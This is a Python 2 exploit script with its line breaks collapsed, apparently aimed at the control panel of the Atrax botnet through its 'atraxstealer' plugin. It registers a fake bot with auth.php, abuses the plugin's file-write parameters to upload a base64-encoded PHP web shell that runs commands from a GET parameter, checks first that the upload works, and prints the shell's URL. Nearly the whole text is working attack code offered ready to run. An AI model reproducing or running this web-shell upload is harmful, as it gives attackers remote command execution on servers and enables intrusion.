import random import string import base64 import urllib import urllib2   # <CONFIG> payload = '<pre><?php if(isset($_GET["c"]))system($_GET["c"]);else echo("No input?");?></pre>'# </CONFIG>   BOT_MODE_INSERT             = 'b' # BOT MODE BOT_MODE_RUNPLUGIN          = 'e'GET_PARAM_MODE              = 'a' # GET PARAM POST_PARAM_GUID             = 'h' # POST PARAM POST_PARAM_IP               = 'i'POST_PARAM_BUILDID          = 'j'POST_PARAM_PC               = 'k'POST_PARAM_OS               = 'l'POST_PARAM_ADMIN            = 'm'POST_PARAM_CPU              = 'n'POST_PARAM_GPU              = 'o'POST_PARAM_PLUGINNAME       = 'q'  def request(url, get, post):         if not get == '':                 url += '?' + get         encoded = {}         if not post == '':                 for _ in post.split('&'):                         data             = _.split('=')                         encoded[data[0]] = data[1]         encoded  = urllib.urlencode(encoded)         request  = urllib2.Request(url, encoded)         response = urllib2.urlopen(request)         page     = response.read()         return page   def queryValue(key, value, next=True):         ret = key + '=' + value         if next:                 ret += '&'        return ret   def randomString(length = 8):         return ''.join(random.choice(string.ascii_lowercase + string.digits) for i in range(length))   def createVictim(url, guid, ip):         get   = queryValue(GET_PARAM_MODE,     BOT_MODE_INSERT, False)         post  = queryValue(POST_PARAM_GUID,    guid)         post += queryValue(POST_PARAM_IP,      ip)         post += queryValue(POST_PARAM_BUILDID, randomString())         post += queryValue(POST_PARAM_PC,      randomString())         post += queryValue(POST_PARAM_OS,      randomString())         post += queryValue(POST_PARAM_ADMIN,   'yes')         post += queryValue(POST_PARAM_CPU,     randomString())         post += queryValue(POST_PARAM_GPU,     randomString(), False)         return request(url + 'auth.php', get, post)   def exploit(url, guid, ip, file, payload):         get   = queryValue(GET_PARAM_MODE,        BOT_MODE_RUNPLUGIN, False)         post  = queryValue(POST_PARAM_PLUGINNAME, 'atraxstealer')         post += queryValue(POST_PARAM_GUID,       guid)         post += queryValue(POST_PARAM_IP,         ip)         post += queryValue('am',                  randomString())         post += queryValue('ad',                  file)         post += queryValue('ab',                  base64.b64encode(payload))         post += queryValue('ai',                  '18', False)         request(url + 'auth.php', get, post)   def testExploit(url, guid, ip):         file    = randomString() + '.php'        payload = '<?php echo("1337"); ?>'        exploit(url, guid, ip, file, payload)         return request(url + 'plugins/atraxstealer/wallet/' + file, '', '').strip() == '1337'           guid    = '7461707a7461707a7461707a7461707a'ip      = '91.224.13.103'file    = randomString() + '.php'if createVictim(url, guid, ip).strip() == 'STOP':         print '[-] Cannot create victim...'else:         print '[~] Victim created/updated...'        if testExploit(url, guid, ip):                 exploit(url, guid, ip, file, payload)                 print '[+] Exploit uploaded!'                print '=> ' + url + 'plugins/atraxstealer/wallet/' + file        else:                 print '[-] Cannot upload payload, maybe the plugin is not actived?'